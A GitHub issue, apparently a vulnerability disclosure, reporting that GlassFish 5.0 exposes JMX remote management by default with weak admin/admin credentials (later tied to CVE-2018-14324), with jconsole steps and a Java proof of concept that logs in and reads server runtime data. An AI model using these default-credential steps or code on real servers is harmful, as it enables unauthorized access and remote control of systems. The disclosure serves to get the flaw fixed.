Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Glassfish jmx_rmi Remote monitoring and control problem #22500

Closed
glassfishrobot opened this issue Apr 20, 2018 · 4 comments
Closed

Glassfish jmx_rmi Remote monitoring and control problem #22500

glassfishrobot opened this issue Apr 20, 2018 · 4 comments

Comments

@glassfishrobot
Copy link

Glassfish jmx_rmi Remote monitoring and control problem

Environment Details

  • GlassFish Version (and build number): 5.0
  • JDK version: 1.8
  • OS: win7

Problem Description

  • Open demo by default. GlassFish will open the 7676 port by default. And can be remotely accessed.
  • Discover JMX URL:
    service:jmx:rmi://M0ker/jndi/rmi://172.16.125.128:8686/172.16.125.128/7676/jmxrmi
  • JMX is a weak password. admin/admin
  • Meanwhile, more information is missing from jconsole.exe.
  • Then click the corresponding function. amx-support --> operation --> bootAMX
  • Come out of a amx directory.
  • In amx, may Remotely operated functions such as deleting demo, stopping, closing, creating, and database operation.
  • And there's a lot of server information here.
  • Here is a simple java sample for remote access to information through Glassfish JMX.

`package jxm_rmi;

import java.lang.management.ManagementFactory;
import java.lang.management.MemoryMXBean;
import java.util.Hashtable;
import java.util.Iterator;
import javax.management.Attribute;
import javax.management.JMX;
import javax.management.MBeanAttributeInfo;
import javax.management.MBeanInfo;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class JMX_RMI {
public static void main(String[] args) throws Exception {

	String user = "admin";
	String pass = "admin";
	
	JMXServiceURL url = new JMXServiceURL("service:jmx:rmi://M0ker/jndi/rmi://172.16.125.128:8686/172.16.125.128/7676/jmxrmi");         
    Hashtable<String, String[]> env = new Hashtable<String, String[]>();
    String[] credentials = new String[] {user,pass};
    env.put(JMXConnector.CREDENTIALS, credentials);         
    JMXConnector jmxc = JMXConnectorFactory.connect(url,env); 
    MBeanServerConnection mbsc = jmxc.getMBeanServerConnection(); 
    
    MemoryMXBean mbean = ManagementFactory.newPlatformMXBeanProxy(mbsc, ManagementFactory.MEMORY_MXBEAN_NAME, MemoryMXBean.class);
    System.out.println(mbean.getHeapMemoryUsage());
    System.out.println(mbean.getNonHeapMemoryUsage());

    ObjectName objectName = new ObjectName("java.lang:type=Runtime");
    MBeanInfo mBeanInfo = mbsc.getMBeanInfo(objectName);
	MBeanAttributeInfo[] mBeanAttributes = mBeanInfo.getAttributes();
	
	System.out.println("\n");
	System.out.println("MBeanInfos : ");
	for (MBeanAttributeInfo mBeanAttribute : mBeanAttributes) {		
			System.out.println("\t"
					+ mBeanAttribute.getName()
					+ "\t"
					+ mBeanAttribute.getType()
					+ "\tvalue = >"
					+ mbsc.getAttribute(objectName,
							mBeanAttribute.getName()));
	}		
	System.out.println("\n");
}

}`

Impact of Issue

  • This is originally a remote monitoring performance JMX. I don't want it to be a loophole for others to invade me. I hope you can turn it off by default. He does have a certain degree of harm. It can also be remotely manipulated. Thank you very much. Sorry to disturb you !
@glassfishrobot
Copy link
Author

@0m0ker Commented
I have applied to cveid for this problem. It's CVE-2018-14324.

@glassfishrobot
Copy link
Author

@github-actions
Copy link

github-actions bot commented Mar 4, 2020

This issue has been marked as inactive and old and will be closed in 7 days if there is no further activity. If you want the issue to remain open please add a comment

@NicoleG25
Copy link

Was this issue ever addressed?
It seemed to have been assigned CVE-2018-14324
Thanks in advance !

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants